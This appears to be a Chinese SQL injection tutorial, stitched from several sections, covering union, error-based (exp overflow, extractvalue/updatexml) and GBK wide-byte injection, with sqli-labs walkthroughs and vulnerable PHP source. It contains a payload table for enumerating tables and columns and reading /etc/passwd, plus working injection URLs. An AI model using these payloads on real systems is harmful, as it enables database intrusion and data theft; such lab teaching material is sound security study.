一、前提
1、web三层架构
学习SQL注入,前提必须要了解web程序的三层架构。
一、原理
联合查询主要是利用union连接符的特性。
1、UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
2、UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
3、只有在前一条查询语句为假时,它才会去执行后一句SQL查询语句
一、定义:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。总得来说,故意造成错误,然后利用mysql输出错误来获取信息。
二、使用条件
错误信息必须输出,也就是得有页面的报错信息显示出来。例如:print_r(mysql_error());。
三、类型
二、使用条件
1、首先我们需要知道mysql是怎样处理整型数据的

只有超过最大值,mysql才会报错。但是如果我们直接输入最大数的话会比较繁琐,我们可以直接使用按位取反运算 即可。
select ~0;

在最大值的基础上加一即可实现溢出
select ~0+1;

2、在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况。
三、exp函数
在实际应用中,由于我们需要写sql语句,所以需要使用exp函数会比较方便。
1、函数介绍:exp(X)此函数返回e(自然对数的底)指数X的幂值。

2、示例
and exp(~(select * from (select user())a))
select user() a 将select user()的结果放在集合a中
select *from 将集合a中的数据显示出来
查询成功将会返回0,对0进行取反运算~即可造成报错
这里之所以使用嵌套查询是因为需要让大整数溢出 从而获取表名信息
3、playload
| 动作 | 代码 |
|---|---|
| 获取表名 | and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) |
| 获取列名信息 | and exp(~(select * from (select column_name from information_schema.columns where table_name=‘users’ limit 0,1)a)) |
| 获取列名对应的信息 | and exp(~(select * from(select username from ‘usres’ limit 0,1))) |
| 读取文件 | and exp(~(select * from (select load_file(‘/etc/passwd’))a)) |
这里需要注意,之所以使用limit 0,1是因为mysql输出报错信息有长度限制,需要一个一个爆破。具体可以在mysql/my_error.c看到
/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */#define ERRMSGSIZE (512)
一、原理
xpath报错主要依据两大函数:extractvalue、updatexml。
原理就出在参数Xpath_string上,XPath_string的格式是/XXX/XXX/XXX,如果出现非法字符~,就会造成报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

如果我们构造一个特殊的错误
select extractvalue('1',concat('~',(select database())));

由此可见,数据库名已经显示出来了。
二、具体示例
以sql-labs第五关为例
1、解题步骤
<1>打开,页面如下

<2>利用order by判断列数
http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+

将3改成4

由此可以判断出列数为3。
<3>尝试联合注入
发现没有回显位,尝试报错注入。
<4>爆破数据库
http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+

<5>爆破列名
http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1 ))) --+

http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1 ))) --+

按照上述步骤依次进行即可,在此就不多做赘述了。
2、源码审计
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "
";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo "";echo 'Your Login name:'. $row['username'];echo "
";echo 'Your Password:' .$row['password'];echo "";}else {echo '';print_r(mysql_error());echo ""; }
}else { echo "Please input the ID as parameter with numeric value";}?>
漏洞的产生如下:首先,使用include()函数引用文件sql-connect.php,建立与数据库的连接。其次isset()函数判断是否输入,如果用户已经输入,将用户输入的值拼接到sql语句中,并利用mysql_query执行。如果在执行的过程中出现错误,print_r(mysql_error())函数报错。
一、课前知识
1、什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节。在宽字节中,一个英文字母占一个字节,而一个汉字占两个字节。
2、哪些编码采用宽字节?
GB2312、GBK、GB18030、BIG5、Shift_JIS
二、原理
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,如果前一个ascii值大于128,那么就会认为两个字符是一个汉字 。例如%df,这个字符的ascii值就大于128,进入了汉字的范围,如果我们使用单引号构造闭合时,mysql会调用转义函数:addslashes(),将单引号变为\',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是運’,从而使单引号闭合(逃逸),进行注入攻击。
编码流程如下图

如此这样,单引号'就逃逸了函数addslashes的过滤限制。
三、示例
这里以sql-labs 32关为例
1、解题步骤
<1>打开关卡尝试'闭合

发现addslashes()函数已经加上了一个\,这样单引号就起不了作用。
<2>尝试利用宽字节注入,添加一个%df。
http://127.0.0.1/sqli/Less-32/?id=1%df'

出现报错,因为addslashes()函数添加的\在经过url编码后变成了5C,正好与前面的DF相结合,在GKB编码下它们被当作一个汉字,这个汉字就是運,而单引号就成功造成闭合,造成报错。

<3>下面的工作就简单多了

在此我也不再多做赘述。
2、源码审计
核心源码如下
可以看到 id 参数传入时,会先经过 check_addslashes() 函数,该函数起到的作用应该就是转义字符了。注意网页会把数据库的编码改成 GBK,给宽字节注入提供了可能性。
function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslashreturn $string;
}
利用方法check_addslashes()添加了对单引号'的过滤。
一、概念:顾名思义,就是在页面没有来自数据库回显的情况下对数据进行猜解